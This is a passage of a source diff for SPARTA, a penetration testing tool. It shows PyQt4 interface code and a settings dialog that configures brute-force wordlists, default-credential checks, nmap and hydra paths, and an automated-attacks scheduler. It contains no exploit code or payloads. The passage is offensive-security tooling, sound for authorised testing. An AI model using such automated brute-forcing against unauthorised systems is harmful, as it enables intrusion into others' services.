self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_6), QtGui.QApplication.translate("MainWindow", "Information", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_7), QtGui.QApplication.translate("MainWindow", "Notes", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.tab_3), QtGui.QApplication.translate("MainWindow", "Hosts", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.tab_4), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), QtGui.QApplication.translate("MainWindow", "Scan", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), QtGui.QApplication.translate("MainWindow", "Brute", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_8), QtGui.QApplication.translate("MainWindow", "Log", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_9), QtGui.QApplication.translate("MainWindow", "Terminal", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_10), QtGui.QApplication.translate("MainWindow", "Python", None, QtGui.QApplication.UnicodeUTF8)) + self.menuFile.setTitle(QtGui.QApplication.translate("MainWindow", "File", None, QtGui.QApplication.UnicodeUTF8)) + self.menuEdit.setTitle(QtGui.QApplication.translate("MainWindow", "Edit", None, QtGui.QApplication.UnicodeUTF8)) + self.menuSettings.setTitle(QtGui.QApplication.translate("MainWindow", "Settings", None, QtGui.QApplication.UnicodeUTF8)) + self.menuHelp.setTitle(QtGui.QApplication.translate("MainWindow", "Help", None, QtGui.QApplication.UnicodeUTF8)) + self.actionNew_Project.setText(QtGui.QApplication.translate("MainWindow", "New", None, QtGui.QApplication.UnicodeUTF8)) + self.actionNew_Project.setToolTip(QtGui.QApplication.translate("MainWindow", "Create a new project file", None, QtGui.QApplication.UnicodeUTF8)) + self.actionNew_Project.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+N", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setText(QtGui.QApplication.translate("MainWindow", "Exit", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setToolTip(QtGui.QApplication.translate("MainWindow", "Exit the application", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+Q", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setText(QtGui.QApplication.translate("MainWindow", "Open", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setToolTip(QtGui.QApplication.translate("MainWindow", "Open an existing project file", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+O", None, QtGui.QApplication.UnicodeUTF8)) + + +if __name__ == "__main__": + import sys + app = QtGui.QApplication(sys.argv) + MainWindow = QtGui.QMainWindow() + ui = Ui_MainWindow() + ui.setupUi(MainWindow) + MainWindow.show() + sys.exit(app.exec_()) + diff --git a/ui/nosplitters/gui.ui b/ui/nosplitters/gui.ui new file mode 100644 index 00000000..e674f71c --- /dev/null +++ b/ui/nosplitters/gui.ui @@ -0,0 +1,215 @@ + + + MainWindow + + + + 0 + 0 + 1010 + 754 + + + + Sparta v0.0001 + + + + + + 10 + 0 + 971 + 531 + + + + 0 + + + + Scan + + + + + 300 + 0 + 661 + 491 + + + + 0 + + + + Services + + + + + 0 + 0 + 661 + 461 + + + + + + + Information + + + + + Notes + + + + + + + 0 + 0 + 301 + 491 + + + + 0 + + + + Hosts + + + + + 0 + 0 + 301 + 461 + + + + + + + Services + + + + + + + Brute + + + + + + + 10 + 560 + 791 + 91 + + + + 0 + + + + Log + + + + + Terminal + + + + + Python + + + + + + + + 0 + 0 + 1010 + 25 + + + + + File + + + + + + + + + Edit + + + + + Settings + + + + + Help + + + + + + + + + + + New + + + Create a new project file + + + Ctrl+N + + + + + Exit + + + Exit the application + + + Ctrl+Q + + + + + Open + + + Open an existing project file + + + Ctrl+O + + + + + + diff --git a/ui/settingsdialogs.py b/ui/settingsdialogs.py new file mode 100644 index 00000000..7505d834 --- /dev/null +++ b/ui/settingsdialogs.py @@ -0,0 +1,1541 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os +from PyQt4.QtGui import * # for filters dialog +from app.auxiliary import * # for timestamps + +class Validate(QtCore.QObject): # used to validate user input on focusOut - more specifically only called to validate tool name in host/port/terminal commands tabs + def eventFilter(self, widget, event): + if event.type() == QtCore.QEvent.FocusOut: # this horrible line is to avoid making the 'AddSettingsDialog' class visible from here + widget.parent().parent().parent().parent().parent().parent().validateToolName() + return False + else: + return False # TODO: check this + +# Borrowed this class from https://gist.github.com/LegoStormtroopr/5075267 +# Credit and thanks to LegoStormtoopr (http://www.twitter.com/legostormtroopr) +class SettingsTabBarWidget(QtGui.QTabBar): + def __init__(self, parent=None, *args, **kwargs): + self.tabSize = QtCore.QSize(kwargs.pop('width',100), kwargs.pop('height',25)) + QtGui.QTabBar.__init__(self, parent, *args, **kwargs) + + def paintEvent(self, event): + painter = QtGui.QStylePainter(self) + option = QtGui.QStyleOptionTab() + + for index in range(self.count()): + self.initStyleOption(option, index) + tabRect = self.tabRect(index) + tabRect.moveLeft(10) + painter.drawControl(QtGui.QStyle.CE_TabBarTabShape, option) + painter.drawText(tabRect, QtCore.Qt.AlignVCenter | QtCore.Qt.TextDontClip, self.tabText(index)); + painter.end() + + def tabSizeHint(self,index): + return self.tabSize + +class AddSettingsDialog(QtGui.QDialog): # dialog shown when the user selects settings menu + def __init__(self, parent=None): + QtGui.QDialog.__init__(self, parent) + + self.setupLayout() + self.setupConnections() + + self.validationPassed = True # TODO: rethink + self.previousTab = self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) + + self.validate = Validate() + self.hostActionNameText.installEventFilter(self.validate) + self.portActionNameText.installEventFilter(self.validate) + self.terminalActionNameText.installEventFilter(self.validate) + self.hostTableRow = -1 + self.portTableRow = -1 + self.terminalTableRow = -1 + + # TODO: maybe these shouldn't be hardcoded because the user can change them... rethink this? + self.defaultServicesList = ["mysql-default","mssql-default","ftp-default","postgres-default","oracle-default"] + + def setupConnections(self): + self.browseUsersListButton.clicked.connect(lambda: self.wordlistDialog()) + self.browsePasswordsListButton.clicked.connect(lambda: self.wordlistDialog('Choose password path')) + + self.addToolForHostButton.clicked.connect(self.addToolForHost) + self.removeToolForHostButton.clicked.connect(self.removeToolForHost) + self.addToolButton.clicked.connect(self.addToolForService) + self.removeToolButton.clicked.connect(self.removeToolForService) + self.addToolForTerminalButton.clicked.connect(self.addToolForTerminal) + self.removeToolForTerminalButton.clicked.connect(self.removeToolForTerminal) + + self.addServicesButton.clicked.connect(lambda: self.moveService(self.servicesAllTableWidget, self.servicesActiveTableWidget)) + self.removeServicesButton.clicked.connect(lambda: self.moveService(self.servicesActiveTableWidget, self.servicesAllTableWidget)) + self.addTerminalServiceButton.clicked.connect(lambda: self.moveService(self.terminalServicesAllTable, self.terminalServicesActiveTable)) + self.removeTerminalServiceButton.clicked.connect(lambda: self.moveService(self.terminalServicesActiveTable, self.terminalServicesAllTable)) + + self.toolForHostsTableWidget.clicked.connect(self.updateToolForHostInformation) + self.toolForServiceTableWidget.clicked.connect(self.updateToolForServiceInformation) + self.toolForTerminalTableWidget.clicked.connect(self.updateToolForTerminalInformation) + + self.hostActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForHostsTableWidget, self.hostActionNameText.text())) + self.portActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForServiceTableWidget, self.portActionNameText.text())) + self.terminalActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForTerminalTableWidget, self.terminalActionNameText.text())) + + self.enableAutoAttacks.clicked.connect(lambda: self.enableAutoToolsTab()) + self.checkDefaultCred.clicked.connect(self.toggleDefaultServices) + + self.settingsTabWidget.currentChanged.connect(self.switchTabClick) + self.ToolSettingsTab.currentChanged.connect(self.switchToolTabClick) + + ##################### ACTION FUNCTIONS (apply / cancel related) ##################### + + def setSettings(self, settings): # called by the controller once the config file has been read at start time and also when the cancel button is pressed to forget any changes. + self.settings = settings + self.resetGui() # clear any changes the user may have made and canceled. + self.populateSettings() # populate the GUI with the new settings + + self.hostActionsNumber = 1 # TODO: this is most likely not the best way to do it. we should check if New_Action_1 exists and if so increase the number until it doesn't exist. no need for a self.variable - can be a local one. + self.portActionsNumber = 1 + self.terminalActionsNumber = 1 + + def applySettings(self): # called when apply button is pressed + if self.validateCurrentTab(self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex())): + self.updateSettings() + return True + return False + + def updateSettings(self): # updates the local settings object (must be called when applying settings and only after validation succeeded) + # LEO: reorganised stuff in a more logical way but no changes were made yet :) + # update GENERAL tab settings + self.settings.general_default_terminal = str(self.terminalComboBox.currentText()) + self.settings.general_max_fast_processes = str(self.fastProcessesComboBox.currentText()) + self.settings.general_screenshooter_timeout = str(self.screenshotTextinput.text()) + self.settings.general_web_services = str(self.webServicesTextinput.text()) + + if self.checkStoreClearPW.isChecked(): + self.settings.brute_store_cleartext_passwords_on_exit = 'True' + else: + self.settings.brute_store_cleartext_passwords_on_exit = 'False' + + if self.checkBlackBG.isChecked(): + self.settings.general_tool_output_black_background = 'True' + else: + self.settings.general_tool_output_black_background = 'False' + + # update BRUTE tab settings + self.settings.brute_username_wordlist_path = str(self.userlistPath.text()) + self.settings.brute_password_wordlist_path = str(self.passwordlistPath.text()) + self.settings.brute_default_username = str(self.defaultUserText.text()) + self.settings.brute_default_password = str(self.defaultPassText.text()) + + # update TOOLS tab settings + self.settings.tools_nmap_stage1_ports = str(self.stage1Input.text()) + self.settings.tools_nmap_stage2_ports = str(self.stage2Input.text()) + self.settings.tools_nmap_stage3_ports = str(self.stage3Input.text()) + self.settings.tools_nmap_stage4_ports = str(self.stage4Input.text()) + self.settings.tools_nmap_stage5_ports = str(self.stage5Input.text()) + + # update AUTOMATED ATTACKS tab settings + if self.enableAutoAttacks.isChecked(): + self.settings.general_enable_scheduler = 'True' + else: + self.settings.general_enable_scheduler = 'False' + + # TODO: seems like all the other settings should be updated here as well instead of updating them in the validation function. + + #def initValues(self): # LEO: renamed and changed the previous tabs defaults otherwise validation doesn't work the first time + def resetGui(self): # called when the cancel button is clicked, to initialise everything + self.validationPassed = True + self.previousTab = 'General' + self.previousToolTab = 'Tool Paths' + self.hostTableRow = -1 + self.portTableRow = -1 + self.terminalTableRow = -1 + + self.hostActionNameText.setText('') + self.hostLabelText.setText(' ') + self.hostLabelText.setReadOnly(True) + self.hostCommandText.setText('init value') + + self.portActionNameText.setText('') + self.portLabelText.setText(' ') + self.portLabelText.setReadOnly(True) + self.portCommandText.setText('init value') + + self.terminalActionNameText.setText('') + self.terminalLabelText.setText(' ') + self.terminalLabelText.setReadOnly(True) + self.terminalCommandText.setText('init value') + + # reset layouts + clearLayout(self.scrollVerLayout) + clearLayout(self.defaultBoxVerlayout) + self.terminalComboBox.clear() + + def populateSettings(self): # called by setSettings at start up or when showing the settings dialog after a cancel action. it populates the GUI with the controller's settings object. + self.populateGeneralTab() # LEO: split it in functions so that it's less confusing and easier to refactor later + self.populateBruteTab() + self.populateToolsTab() + self.populateAutomatedAttacksTab() + + def populateGeneralTab(self): + self.terminalsSupported = ['gnome-terminal','xterm'] + self.terminalComboBox.insertItems(0, self.terminalsSupported) + + self.fastProcessesComboBox.setCurrentIndex(int(self.settings.general_max_fast_processes) - 1) + self.screenshotTextinput.setText(str(self.settings.general_screenshooter_timeout)) + self.webServicesTextinput.setText(str(self.settings.general_web_services)) + + if self.settings.general_tool_output_black_background == 'True' and self.checkBlackBG.isChecked() == False: + self.checkBlackBG.toggle() + elif self.settings.general_tool_output_black_background == 'False' and self.checkBlackBG.isChecked() == True: + self.checkBlackBG.toggle() + + if self.settings.brute_store_cleartext_passwords_on_exit == 'True' and self.checkStoreClearPW.isChecked() == False: + self.checkStoreClearPW.toggle() + elif self.settings.brute_store_cleartext_passwords_on_exit == 'False' and self.checkStoreClearPW.isChecked() == True: + self.checkStoreClearPW.toggle() + + def populateBruteTab(self): + self.userlistPath.setText(self.settings.brute_username_wordlist_path) + self.passwordlistPath.setText(self.settings.brute_password_wordlist_path) + self.defaultUserText.setText(self.settings.brute_default_username) + self.defaultPassText.setText(self.settings.brute_default_password) + + def populateToolsTab(self): + # POPULATE TOOL PATHS TAB + self.nmapPathInput.setText(self.settings.tools_path_nmap) + self.hydraPathInput.setText(self.settings.tools_path_hydra) + self.cutycaptPathInput.setText(self.settings.tools_path_cutycapt) + self.textEditorPathInput.setText(self.settings.tools_path_texteditor) + + # POPULATE STAGED NMAP TAB + self.stage1Input.setText(self.settings.tools_nmap_stage1_ports) + self.stage2Input.setText(self.settings.tools_nmap_stage2_ports) + self.stage3Input.setText(self.settings.tools_nmap_stage3_ports) + self.stage4Input.setText(self.settings.tools_nmap_stage4_ports) + self.stage5Input.setText(self.settings.tools_nmap_stage5_ports) + + # POPULATE TOOLS TABS (HOST/PORT/TERMINAL) + self.toolForHostsTableWidget.setRowCount(len(self.settings.hostActions)) + for row in range(len(self.settings.hostActions)): + # add a row to the table + self.toolForHostsTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + # add the label for the port actions + self.toolForHostsTableWidget.item(row, 0).setText(self.settings.hostActions[row][1]) + + self.toolForServiceTableWidget.setRowCount(len(self.settings.portActions)) + for row in range(len(self.settings.portActions)): + self.toolForServiceTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + self.toolForServiceTableWidget.item(row, 0).setText(self.settings.portActions[row][1]) + + self.servicesAllTableWidget.setRowCount(len(self.settings.portActions)) + for row in range(len(self.settings.portActions)): + self.servicesAllTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + self.servicesAllTableWidget.item(row, 0).setText(self.settings.portActions[row][3]) + + self.toolForTerminalTableWidget.setRowCount(len(self.settings.portTerminalActions)) + for row in range(len(self.settings.portTerminalActions)): + # add a row to the table + self.toolForTerminalTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + # add the label fro the port actions + self.toolForTerminalTableWidget.item(row, 0).setText(self.settings.portTerminalActions[row][1]) + self.terminalServicesAllTable.setRowCount(len(self.settings.portTerminalActions)) + for row in range(len(self.settings.portTerminalActions)): + self.terminalServicesAllTable.setItem(row, 0, QtGui.QTableWidgetItem()) + self.terminalServicesAllTable.item(row, 0).setText(self.settings.portTerminalActions[row][3]) + + def populateAutomatedAttacksTab(self): # TODO: this one is still to big and ugly. needs work. + self.typeDic = {} + for i in range(len(self.settings.portActions)): + # the dictionary contains the name, the text input and the layout for each tool + self.typeDic.update({self.settings.portActions[i][1]:[QtGui.QLabel(),QtGui.QLineEdit(),QtGui.QCheckBox(),QtGui.QHBoxLayout()]}) + + for keyNum in range(len(self.settings.portActions)): + + # populate the automated attacks tools tab with every tool that is not a default creds check + if self.settings.portActions[keyNum][1] not in self.defaultServicesList: + + self.typeDic[self.settings.portActions[keyNum][1]][0].setText(self.settings.portActions[keyNum][1]) + self.typeDic[self.settings.portActions[keyNum][1]][0].setFixedWidth(150) + + #if self.settings.portActions[keyNum][1] in self.settings.automatedAttacks.keys(): + foundToolInAA = False + for t in self.settings.automatedAttacks: + if self.settings.portActions[keyNum][1] == t[0]: + #self.typeDic[self.settings.portActions[keyNum][1]][1].setText(self.settings.automatedAttacks[self.settings.portActions[keyNum][1]]) + self.typeDic[self.settings.portActions[keyNum][1]][1].setText(t[1]) + self.typeDic[self.settings.portActions[keyNum][1]][2].toggle() + foundToolInAA = True + break + + if not foundToolInAA: + self.typeDic[self.settings.portActions[keyNum][1]][1].setText(self.settings.portActions[keyNum][3]) + + self.typeDic[self.settings.portActions[keyNum][1]][1].setFixedWidth(300) + self.typeDic[self.settings.portActions[keyNum][1]][2].setObjectName(str(self.typeDic[self.settings.portActions[keyNum][1]][2])) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][0]) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][1]) + self.typeDic[self.settings.portActions[keyNum][1]][3].addItem(self.enabledSpacer) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][2]) + self.scrollVerLayout.addLayout(self.typeDic[self.settings.portActions[keyNum][1]][3]) + + else: # populate the automated attacks tools tab with every tool that IS a default creds check + # TODO: i get the feeling we shouldn't be doing this in the else. the else could just skip the default ones and outside of the loop we can go through self.defaultServicesList and take care of these separately. + if self.settings.portActions[keyNum][1] == "mysql-default": + self.typeDic[self.settings.portActions[keyNum][1]][0].setText('mysql') + elif self.settings.portActions[keyNum][1] == "mssql-default": + self.typeDic[self.settings.portActions[keyNum][1]][0].setText('mssql') + elif self.settings.portActions[keyNum][1] == "ftp-default": + self.typeDic[self.settings.portActions[keyNum][1]][0].setText('ftp') + elif self.settings.portActions[keyNum][1] == "postgres-default": + self.typeDic[self.settings.portActions[keyNum][1]][0].setText('postgres') + elif self.settings.portActions[keyNum][1] == "oracle-default": + self.typeDic[self.settings.portActions[keyNum][1]][0].setText('oracle') + + self.typeDic[self.settings.portActions[keyNum][1]][0].setFixedWidth(150) + self.typeDic[self.settings.portActions[keyNum][1]][2].setObjectName(str(self.typeDic[self.settings.portActions[keyNum][1]][2])) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][0]) + self.typeDic[self.settings.portActions[keyNum][1]][3].addItem(self.enabledSpacer) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][2]) + + self.defaultBoxVerlayout.addLayout(self.typeDic[self.settings.portActions[keyNum][1]][3]) + + self.scrollArea.setWidget(self.scrollWidget) + self.globVerAutoToolsLayout.addWidget(self.scrollArea) + + ##################### SWITCH TAB FUNCTIONS ##################### + + def switchTabClick(self): # LEO: this function had duplicate code with validateCurrentTab(). so now we call that one. + if self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) == 'Tools': + self.previousToolTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) + + print('previous tab is: ' + str(self.previousTab)) + if self.validateCurrentTab(self.previousTab): # LEO: we don't care about the return value in this case. it's just for debug. + print('validation succeeded! switching tab! yay!') + # save the previous tab for the next time we switch tabs. TODO: not sure this should be inside the IF but makes sense to me. no point in saving the previous if there is no change.. + self.previousTab = self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) + else: + print('nope! cannot let you switch tab! you fucked up!') + + def switchToolTabClick(self): # TODO: check for duplicate code. + if self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Host Commands': + self.toolForHostsTableWidget.selectRow(0) + self.updateToolForHostInformation(False) + + elif self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Port Commands': + self.toolForServiceTableWidget.selectRow(0) + self.updateToolForServiceInformation(False) + + elif self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Terminal Commands': + self.toolForTerminalTableWidget.selectRow(0) + self.updateToolForTerminalInformation(False) + + # LEO: I get the feeling the validation part could go into a validateCurrentToolTab() just like in the other switch tab function. + if self.previousToolTab == 'Tool Paths': + if not self.toolPathsValidate(): + self.ToolSettingsTab.setCurrentIndex(0) + + elif self.previousToolTab == 'Host Commands': + if not self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + self.ToolSettingsTab.setCurrentIndex(1) + else: + self.updateHostActions() + + elif self.previousToolTab == 'Port Commands': + if not self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + self.ToolSettingsTab.setCurrentIndex(2) + else: + self.updatePortActions() + + elif self.previousToolTab == 'Terminal Commands': + if not self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + self.ToolSettingsTab.setCurrentIndex(3) + else: + self.updateTerminalActions() + + elif self.previousToolTab == 'Staged Nmap': + if not self.validateStagedNmapTab(): + self.ToolSettingsTab.setCurrentIndex(4) +# else: +# self.updateTerminalActions() # LEO: commented out because it didn't look right, please check! + + self.previousToolTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) + + ##################### AUXILIARY FUNCTIONS ##################### + + #def confInitState(self): # LEO: renamed. i get the feeling this function is not necessary if we put this code somewhere else - eg: right before we apply/cancel. we'll see. + def resetTabIndexes(self): # called when the settings dialog is opened so that we always show the same tabs. + self.settingsTabWidget.setCurrentIndex(0) + self.ToolSettingsTab.setCurrentIndex(0) + + def toggleRedBorder(self, widget, red=True): # called by validation functions to display (or not) a red border around a text input widget when input is (in)valid. easier to change stylesheets in one place only. + if red: + widget.setStyleSheet("border: 1px solid red;") + else: + widget.setStyleSheet("border: 1px solid grey;") + + # LEO: I moved the really generic validation functions to the end of auxiliary.py and those are used by these slightly-less-generic ones. + # .. the difference is that these ones also take care of the IF/ELSE which was being duplicated all over the code. everything should be simpler now. + # note that I didn't use these everywhere because sometimes the IF/ELSE are not so straight-forward. + + def validateNumeric(self, widget): + if not validateNumeric(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateString(self, widget): + if not validateString(str(widget.text())): # TODO: this is too strict in some cases... + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateStringWithSpace(self, widget): + if not validateStringWithSpace(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validatePath(self, widget): + if not validatePath(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateFile(self, widget): + if not validateFile(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateCommandFormat(self, widget): + if not validateCommandFormat(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateNmapPorts(self, widget): + if not validateNmapPorts(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + ##################### VALIDATION FUNCTIONS (per tab) ##################### + # LEO: the functions are more or less in the same order as the tabs in the GUI (top-down and left-to-right) except for generic functions + + def validateCurrentTab(self, tab): # LEO: your updateSettings() was split in 2. validateCurrentTab() and updateSettings() since they have different functionality. also, we now have a 'tab' parameter so that we can reuse the code in switchTabClick and avoid duplicate code. the tab parameter will either be the current or the previous tab depending where we call this from. + validationPassed = True + if tab == 'General': + if not self.validateGeneralTab(): + self.settingsTabWidget.setCurrentIndex(0) + validationPassed = False + + elif tab == 'Brute': + if not self.validateBruteTab(): + self.settingsTabWidget.setCurrentIndex(1) + validationPassed = False + + elif tab == 'Tools': + self.ToolSettingsTab.setCurrentIndex(0) + currentToolsTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) + if currentToolsTab == 'Tool Paths': + if not self.toolPathsValidate(): + self.settingsTabWidget.setCurrentIndex(2) + self.ToolSettingsTab.setCurrentIndex(0) + validationPassed = False + + elif currentToolsTab == 'Host Commands': + if not self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + self.settingsTabWidget.setCurrentIndex(2) + self.ToolSettingsTab.setCurrentIndex(1) + validationPassed = False + else: + self.updateHostActions() + + elif currentToolsTab == 'Port Commands': + if not self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + self.settingsTabWidget.setCurrentIndex(2) + self.ToolSettingsTab.setCurrentIndex(2) + validationPassed = False + else: + self.updatePortActions() + + elif currentToolsTab == 'Terminal Commands': + if not self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + self.settingsTabWidget.setCurrentIndex(2) + self.ToolSettingsTab.setCurrentIndex(3) + validationPassed = False + else: + self.updateTerminalActions() + + elif currentToolsTab == 'Staged Nmap': + if not self.validateStagedNmapTab(): + self.settingsTabWidget.setCurrentIndex(2) + self.ToolSettingsTab.setCurrentIndex(4) + validationPassed = False + + else: + print('>>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. + + elif tab == 'Wordlists': + print('Coming back from wordlists.') + + elif tab == 'Automated Attacks': + print('Coming back from automated attacks.') + + else: + print('>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. + + print('DEBUG: current tab is valid: ' + str(validationPassed)) + return validationPassed + + #def generalTabValidate(self): + def validateGeneralTab(self): + validationPassed = self.validateNumeric(self.screenshotTextinput) + + self.toggleRedBorder(self.webServicesTextinput, False) + for service in str(self.webServicesTextinput.text()).split(','):# TODO: this is too strict! no spaces or comma allowed? we can clean up for the user in some simple cases. actually, i'm not sure we even need to split. + if not validateString(service): + self.toggleRedBorder(self.webServicesTextinput, True) + validationPassed = False + break + + return validationPassed + + #def bruteTabValidate(self): + def validateBruteTab(self): # LEO: do NOT change the order of the AND statements otherwise validation may not take place if first condition is False + validationPassed = self.validatePath(self.userlistPath) + validationPassed = self.validatePath(self.passwordlistPath) and validationPassed + validationPassed = self.validateString(self.defaultUserText) and validationPassed + validationPassed = self.validateString(self.defaultPassText) and validationPassed + return validationPassed + + def toolPathsValidate(self): + validationPassed = self.validateFile(self.nmapPathInput) + validationPassed = self.validateFile(self.hydraPathInput) and validationPassed + validationPassed = self.validateFile(self.cutycaptPathInput) and validationPassed + validationPassed = self.validateFile(self.textEditorPathInput) and validationPassed + return validationPassed + +# def commandTabsValidate(self): # LEO: renamed and refactored + def validateCommandTabs(self, nameInput, labelInput, commandInput): # only validates the tool name, label and command fields for host/port/terminal tabs + validationPassed = True + + if self.validationPassed == False: # the self.validationPassed comes from the focus out event + self.toggleRedBorder(nameInput, True) # TODO: this seems like a dodgy way to do it - functions should not depend on hope :) . maybe it's better to simply validate again. code will be clearer too. + validationPassed = False + else: + self.toggleRedBorder(nameInput, False) + + validationPassed = self.validateStringWithSpace(labelInput) and validationPassed + validationPassed = self.validateCommandFormat(commandInput) and validationPassed + return validationPassed + + # avoid using the same code for the selected tab. returns the fields for the current visible tab (host/ports/terminal) + # TODO: don't like this too much. seems like we could just use parameters in the validate tool name function + def selectGroup(self): + tabSelected = -1 + + if self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Host Commands': + tabSelected = 1 + elif self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Port Commands': + tabSelected = 2 + elif self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Terminal Commands': + tabSelected = 3 + + if self.previousToolTab == 'Host Commands' or tabSelected == 1: + tmpWidget = self.toolForHostsTableWidget + tmpActionLineEdit = self.hostActionNameText + tmpLabelLineEdit = self.hostLabelText + tmpCommandLineEdit = self.hostCommandText + actions = self.settings.hostActions + tableRow = self.hostTableRow + if self.previousToolTab == 'Port Commands' or tabSelected == 2: + tmpWidget = self.toolForServiceTableWidget + tmpActionLineEdit = self.portActionNameText + tmpLabelLineEdit = self.portLabelText + tmpCommandLineEdit = self.portCommandText + actions = self.settings.portActions + tableRow = self.portTableRow + if self.previousToolTab == 'Terminal Commands' or tabSelected == 3: + tmpWidget = self.toolForTerminalTableWidget + tmpActionLineEdit = self.terminalActionNameText + tmpLabelLineEdit = self.terminalLabelText + tmpCommandLineEdit = self.terminalCommandText + actions = self.settings.portTerminalActions + tableRow = self.terminalTableRow + + return tmpWidget, tmpActionLineEdit, tmpLabelLineEdit, tmpCommandLineEdit, actions, tableRow + +# def validateInput(self): # LEO: renamed + def validateToolName(self): # called when there is a focus out event. only validates the tool name (key) for host/port/terminal tabs + selectGroup = self.selectGroup() + tmpWidget = selectGroup[0] + tmplineEdit = selectGroup[1] + actions = selectGroup[4] + row = selectGroup[5] + + if tmplineEdit: + row = tmpWidget.currentRow() + + if row != -1: # LEO: when the first condition is True the validateUniqueToolName is never called (bad if we want to show a nice error message for the unique key) + if not validateString(str(tmplineEdit.text())) or not self.validateUniqueToolName(tmpWidget, row, str(tmplineEdit.text())): + tmplineEdit.setStyleSheet("border: 1px solid red;") + tmpWidget.setSelectionMode(QtGui.QAbstractItemView.NoSelection) + self.validationPassed = False + print('the validation is: ' + str(self.validationPassed)) + return self.validationPassed + else: + tmplineEdit.setStyleSheet("border: 1px solid grey;") + tmpWidget.setSelectionMode(QtGui.QAbstractItemView.SingleSelection) + self.validationPassed = True + print('the validation is: ' + str(self.validationPassed)) + if tmpWidget.item(row,0).text() != str(actions[row][1]): + print('difference found') + actions[row][1] = tmpWidget.item(row,0).text() + return self.validationPassed + + #def validateUniqueKey(self, widget, tablerow, text): # LEO: renamed. +the function that calls this one already knows the selectGroup stuff so no need to duplicate. + def validateUniqueToolName(self, widget, tablerow, text): # LEO: the function that calls this one already knows 